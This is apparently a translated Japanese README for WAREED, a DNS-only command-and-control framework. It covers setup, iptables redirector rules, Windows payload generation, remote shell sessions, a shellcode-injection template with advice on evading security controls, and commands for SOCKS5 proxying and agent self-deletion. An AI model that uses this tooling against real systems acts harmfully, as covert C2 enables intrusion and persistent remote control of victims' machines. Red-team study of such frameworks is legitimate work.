
DNSのみを使用するコマンド&コントロールフレームワーク。Windowsエージェント、ペイロード生成、リモートシェル実行、シェルコードインジェクション、および隠密作戦のためのSOCKS5プロキシサポートを備えています。

WAREED は、サーバーとターゲット間の安全な通信にDNSプロトコルを利用するコマンドアンドコントロール(C2)です。通信を最小限に抑え、データ交換を制限するように設計されており、HTTP/HTTPS経由のインターネットアクセスはできないがDNSは許可されているマシンに永続化するためのファーストステージC2として意図されています。
開発者 : @Fsalabduljabbar

多くのコマンドアンドコントロール(C2)フレームワークがDNSをトランスポートプロトコルとしてサポートしていますが、それらは主にHTTP/HTTPS向けに設計されています。これらのフレームワークをDNSに移行すると、動作が遅くなり、不安定になることがよくあります。DNSトランザクションにおけるこれらのフレームワークの不安定さに多くの課題を直面し、私はDNS専用に調整されたソリューションを作成せざるを得ませんでした。その結果がWareed、DNSのみのC2フレームワークです。この特化により、動作はより安定して効率的になり、主にDNS向けに設計されていない従来のC2フレームワークと比較して、Wareedはより高速で信頼性が高くなります。これにより、DNSトラフィックは許可されているがHTTP/HTTPSが制限されている環境において、Wareedは理想的な選択肢となります。
3つのプログラミング言語を使用して開発されています:
名前の説明:
Hams (همس) はアラビア語で「ささやき」を意味します
Wareed (وريد) はアラビア語で「静脈」を意味します
Ather (أثر) はアラビア語で「痕跡」を意味します
ステップ1: Wareedリポジトリをクローンします:
git clone https://github.com/Faisal-P27/WAREED-DNS-C2.git
ステップ2: セットアップスクリプトを実行します:
cd WAREED-DNS-C2
chmod +x Run.sh
sudo ./Run.sh setup
コンパイルプロセスが正常に完了すると、同じディレクトリに2つの実行可能ファイルが生成されます:
また、エージェントのコンパイル状態も確認します。成功した場合、エージェントが展開可能で動作可能な状態であることを確認します。これはWareed C2の機能にとって重要です。
{
"magic_value": "cdn",
"domains": ["2.example.net"],
"listener_port": "111",
"sleep": 5,
"jitter": 50,
"lookup_delay": 5,
"default_dns_server": "1.1.1.1"
}
magic_value: 長さは3でなければなりません。
DNS設定: Wareedを運用するには、有効なドメイン名が必要です。ドメインを取得したら、リダイレクタを指すように2つのDNSレコードを設定する必要があります:

リダイレクタの設定:
リダイレクタは、ポート53で受信するDNSトラフィックを処理し、チームサーバーにリダイレクトします。これを実現するには、リダイレクタマシン(R1)で次のiptablesコマンドを実行します:
iptables -I INPUT -p udp -m udp --dport 53 -j ACCEPT
このコマンドは、DNSリクエストの標準ポートであるポート53で受信するUDPパケットを受け入れるようにファイアウォールを設定します。
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to-destination [TeamServer IP]:[teamserver listener port]
[TeamServer IP] を実際のチームサーバーのIPアドレスに置き換え、[teamserver listener port] をチームサーバーが待ち受けているポート番号に置き換えてください。このコマンドは、ポート53に到着するすべてのトラフィックを、指定したチームサーバーのIPアドレスとポートに転送します。

初めてWareedチームサーバーを起動するには、設定ファイル、クライアントパスワード、クライアントが待ち受けるポートを指定する必要があります。次のコマンドでWareedチームサーバーを実行します:
sudo ./WareedServer [Client Password] [Client Port Listener] [Path to configuration file]
Ather GUIクライアントを起動するには、次のように実行するだけです:
./Ather
コマンドを実行すると、ログインページを含む新しいウィンドウが表示されます。

ログイン情報: 表示されたログインページで:
Wareed メインウィンドウ:

Ather GUIクライアントで新しいペイロードを生成するには、次の手順に従います:
ペイロード生成に移動:
Payload > Generate > Windows に移動します。このオプションを選択すると、ペイロード生成用の新しいウィンドウが開きます。
新しいペイロードを生成すると、新しいゲストセッションが自動的にチームサーバーに登録されます。この登録プロセスにより、この特定のセッションのみがチームサーバーに接続できます。セッションの認証と承認には、一意の識別子と「マジック値」が使用されます。このメカニズムにより、新しく生成されたペイロードとチームサーバー間の安全で制御された通信が保証されます。

Windowsマシンでペイロードを実行すると、チームサーバーに登録するためのDNSクエリの生成が開始されます。この登録プロセスは数秒以内に発生し、通常3〜5件のDNSクエリが生成されます。

セッションと対話するには、目的のセッションを右クリックし、コンテキストメニューから「Interact」を選択します。この操作により、ターミナルインターフェイスを備えた新しいタブが開きます。このターミナルでコマンドを実行できます。

注:
injectコマンドは単純ですが、セキュリティコントロールに検出されることがよくあります。ステルス性を高めるには、独自のインジェクション技術を実装する必要があります。Agent/Source/Core/Tasks/Modules/Injection.cのインジェクションコードを変更してください。以下は、インジェクション関数をカスタマイズするための基本的なテンプレートです:
int Inject(unsigned char *ShellCode, int size, int ProcessID) {
// Add your injection technique here.
// You will receive the shellcode in [unsigned char *ShellCode] and shellcode size in [nt size]
// and the process ID in [int ProcessID].
}
データベースをクリーンアップするには、ターミナルで次のコマンドを実行するだけです:
./Run clean
Wareedプロジェクトにこれ以上の時間を投資する予定は今のところありませんが、それは信じられないほどの学習の旅であり、とても楽しめました。新たな主要プロジェクト THAWD BAS を開始する予定であることを発表できることを嬉しく思います。詳細については、Thawd.io をご覧ください。
開発スキルをお持ちで、Wareedへの貢献に興味がある場合、いくつかの機会があります:
この成果は、以下に示す優れたオープンソースプロジェクトの貢献なしには達成できませんでした:
DNSStager 作者 - @mohammadaskar2
Boomerang 作者 - @NinjaParanoid
| Command | Description | Usage | Example |
|---|
| help | 指定されたコマンドのヘルプメッセージを表示します | [command] | help shell |
| sleep | ジッター付きのスリープ遅延を設定します | [delay] [jitter] | sleep 10 50 |
| shell | cmd.exe コマンドを実行し、出力を取得します | [commands] | shell dir c:\windows\system32 (実行しないでください) |
| inject | リモートプロセスにシェルコードを注入します | [pid] [shellcode_path] | inject 1234 /path/to/shellcode.bin |
| proxystart | SOCKS5 プロキシを開始します | [callback_host] [agent_connect_port] [proxy_listener_port] | proxystart example.com 443 1080 |
| proxystop | SOCKS5 プロキシを停止します | [callback_host] [agent_connect_port] [proxy_listener_port] | proxystop example.com 443 1080 |
| adddomain | 新しいコールバックドメインを追加します | [domain_name] | adddomain example.com |
| deldomain | コールバックドメインを削除します | [domain_name] | deldomain example.com |
| listdomain | アクティブなコールバックドメインをすべて一覧表示します | listdomain | |
| kill | 現在のプロセスを終了します。 | [yes] | kill yes |
| wipe | 現在のプロセスを終了して削除します。 | [yes] | wipe yes |
| selfdel | 現在のプロセスをディスクから削除します。 | [yes] | selfdel yes |
| tasklist | キュー内のすべてのタスクを一覧表示します | tasklist | |
| taskdel | IDで特定のタスクを削除します | [task id] | taskdel 123 |
| tasksclean | キュー内のすべてのタスクを削除します | [yes] | tasksclean yes |
| clear | ターミナル画面をクリアします | clear |